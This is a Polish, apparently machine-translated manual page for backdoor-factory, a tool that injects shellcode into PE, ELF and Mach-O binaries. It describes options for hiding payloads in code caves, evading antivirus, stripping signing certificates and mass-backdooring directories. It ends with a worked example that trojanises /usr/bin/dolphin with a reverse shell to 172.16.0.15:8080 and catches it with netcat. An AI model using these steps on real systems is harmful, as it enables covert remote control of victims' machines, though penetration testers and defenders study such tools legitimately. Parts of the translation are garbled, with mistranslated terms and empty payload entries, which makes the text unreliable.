backdoor-factory - wstrzykiwać predefiniowany lub zdefiniowany przez użytkownika kod powłoki w plikach binarnych
backdoor-factory [options]
backdoor-factory łata wykonywalne pliki binarne za pomocą pożądanego przez użytkownika kodu powłoki i kontynuuje normalne wykonywanie stanu przed poprawką.
To narzędzie jest przeznaczone wyłącznie dla specjalistów ds. bezpieczeństwa i badaczy.
To narzędzie nie obsługuje relokowalnego pliku wykonywalnego ELF (tj. skompilowanego z opcją -fPIE, sugerowaną przez wymagania dotyczące utwardzania Debiana, zobacz https://wiki.debian.org/Hardening)
Pliki binarne, takie jak ssh, mogą nie być prawidłowo zapisywane w jaskiniach, tak jak pliki binarne, takie jak delfin (w czasie pisania tej strony podręcznika).
pokaż ten komunikat pomocy i wyjdź
Plik do backdoora
Ładunki, które są dostępne do użytku. Użyj opcji „pokaż”, aby zobaczyć ładunki.
IP C2 dla połączeń odwrotnych.
Port, z którym można się połączyć z powrotem w przypadku odwrotnych powłok lub nasłuchiwać powłok wiążących
Wybierz tę opcję, jeśli chcesz użyć kodu do jaskini, aby dodatkowo ukryć swój kod powłoki w pliku binarnym.
Nakaz dodania nowej sekcji do exe (lepszy sukces), ale mniej unikania AV
Shellcode dostarczony przez użytkownika, upewnij się, że pasuje do docelowej architektury.
Flaga jaskini znajdzie jaskinie kodu, których można użyć do przechowywania kodu powłoki. Spowoduje to wydrukowanie wszystkich jaskiń kodu o określonym rozmiarze. Z tym ustawieniem można użyć flagi -l.
Do użycia z -c, aby pomóc znaleźć jaskinie kodu o różnych rozmiarach
Ścieżka pliku wyjściowego backdoora. Katalogi nadrzędne muszą istnieć
Nazwa nowej sekcji musi mieć mniej niż siedem znaków
To jest lokalizacja plików, które chcesz wykonać backdoorem. Możesz przyspieszyć backdooring katalogu plików, wymuszając dołączenie jaskini kodu do exe za pomocą ustawienia -a.
Ta flaga zmienia sekcję, w której znajduje się jaskinia kodów, na RWE. Czasami jest to konieczne. Domyślnie włączone. Jeśli ta opcja jest wyłączona, backdoor może się nie powieść.
To polecenie zmienia fabrykę backdoora w mechanizm typu „wyszukujący” i wstrzykujący kod powłoki. Edytuj ustawienia docelowe w module wtryskiwacza.
Do użytku z wtryskiwaczem, umieszcza sufiks w oryginalnym pliku w celu łatwego odzyskania
Do użytku z modułem wtryskiwacza. To polecenie usuwa oryginalny plik. Nie do użytku w systemach produkcyjnych. (Autor nie ponosi odpowiedzialności za głupie użycie.)
Punkt początkowy na przesunięciu dysku, w bajtach. Niektórzy autorzy chcą zaciemnić swoje przesunięcie na dysku, aby uniknąć inżynierii wstecznej, jeśli znajdziesz jeden z tych plików, użyj tej flagi po znalezieniu przesunięcia.
Aby określić, czy plik jest obsługiwany przez BDF przed backdoorem pliku. Do użytku samodzielnie lub z rozwlekłym. Ta kontrola odbywa się automatycznie, jeśli zostanie podjęta próba backdooringu.
Przyszłe użycie, aby pomóc określić najmniejszy możliwy kod powłoki w pliku PE
Zabija sztandar.
Wyjście informacji debugowania.
Tylko pliki binarne typu ALL, x86 lub x64. Domyślnie=WSZYSTKIE
Pozwala na nadpisanie wskaźnika do tabeli certyfikatów PE, skutecznie usuwając certyfikat z pliku binarnego pod każdym względem.
EKSPERYMENTALNIE Sprawdza pliki binarne PE pod kątem „requestedExecutionLevel level="highestAvailable"'. Jeśli ten ciąg jest zawarty w pliku binarnym, musi działać jako system/admin. Jeśli nie jest w trybie sprawdzania pomocy technicznej, spróbuje załatać najwyższą dostępność do manifestu, jeśli istnieje wpis requestExecutionLevel.
Użyj tego ustawienia, jeśli NIE chcesz aktualizować bibliotek DLL. Patche domyślnie.
Dla formatu MACH-O. Jeśli gruby plik, skup się na tym, który łuk załatać. Wartość domyślna to x64. Aby wymusić x86, użyj -F x86, aby wymusić oba łuki, użyj -F ALL.
W przypadku ładunków, które mają możliwość wysyłania sygnału nawigacyjnego, ustaw czas w sekundach
Metody łatania plików PE, „ręczne”, „automatyczne”, zastępowanie i onionduke
Dla cebulowego księcia. Podaj żądany plik binarny.
Domyślnie: NIE obsługuj starszych maszyn XP, użyj -X, aby obsługiwać XP. Domyślnie plik binarny ulegnie awarii na komputerach XP (np. Piaskownicach)
EKSPERYMENTALNIE Domyślnie nowa tabela katalogu importu jest tworzona w nowej sekcji, wywołanie tej flagi spowoduje umieszczenie jej w jaskini kodu. W niektórych przypadkach może to spowodować awarię bianry. Najpierw przetestuj docelowe pliki binarne.
Dla osób posiadających certyfikaty współprojektowania, które chcą podpisywać tylko pliki binarne PE. Nazwij odpowiednio swój klucz podpisu i klucz prywatnysigncert.cer isignPrivateKey.pem w katalogu certs. Uzyskanie certyfikatów podpisu zależy od Ciebie.
Aby wykonać skrypty przetwarzania wstępnego w katalogu przetwarzania wstępnego
W backdoor-factory jest kilka predefiniowanych kodów powłoki. Ich dostępność zależy od typu celu (ELF32, ELF64, PE32...). Lista kodów powłoki jest zdefiniowana poniżej.
potrzeba: zdalny host i port do ustawienia zezwalają na: zdalny dostęp do powłoki
potrzeba: zdalny host i port do ustawienia zezwalają na: zdalny dostęp do powłoki
potrzeba: beacon, zdalny host i port do ustawienia zezwala: zdalny dostęp do powłoki
potrzeba: zdefiniowany przez użytkownika kod powłoki gotowy do wstrzyknięcia zezwoleń: zależy od kodu powłoki
potrzeba: pozwolenia:
wymagania: zdalny host i port do ustawienia zezwalają na: zdalny dostęp do powłoki
potrzeby: zdalny host i port do ustawienia zezwalają na: Wstrzyknięcie biblioteki DLL serwera Meterpreter za pośrednictwem ładunku Reflective Dll Injection
potrzeby: zdalny host i port do ustawienia zezwala: Meterpreter przez transport https
wymagania: zdefiniowany przez użytkownika kod powłoki gotowy do wstrzyknięcia zezwoleń: zależy od kodu powłoki
potrzeby: zdalny host i port do ustawienia pozwalają:
potrzeby: zdalny host i port do ustawienia pozwalają:
potrzeby: zdalny host i port do ustawienia zezwalają na: Wstrzyknięcie biblioteki DLL serwera Meterpreter za pośrednictwem ładunku Reflective Dll Injection
potrzeby: zdefiniowany przez użytkownika kod powłoki gotowy do wstrzyknięcia zezwoleń: zależy od kodu powłoki
wymagania: zdalny host i port do ustawienia zezwalają na: zdalny dostęp do powłoki
wymagania: zdalny host i port do ustawienia zezwalają na: zdalny dostęp do powłoki
potrzebuje: beacon, zdalny host i port do ustawienia zezwala: zdalny dostęp do powłoki
potrzeby: zdefiniowany przez użytkownika kod powłoki gotowy do wstrzyknięcia zezwoleń: zależy od kodu powłoki
Przykład kodowania jaskiniowego pliku binarnego ELF poprzez integrację zdalnego dostępu do powłoki przez zdalny odbiornik TCP (np. Netcat):
backdoor-factory -f /usr/bin/dolphin -H 172.16.0.15 -P 8080 -s reverse_shell_tcpNa hoście za adresem IP 172.16.0.15 uruchom netcat w trybie nasłuchiwania:
netcat -l 172.16.0.15 8080W miejscu docelowym uruchom plik binarny z backdoorem:
./backdoored/dolphinTeraz na hoście 172.16.0.15 po prostu użyj swojej powłoki.
Maj 2017, pierwotnie skompilowany przez Philippe'a Thierry'ego (phil at reseau-libre dot com)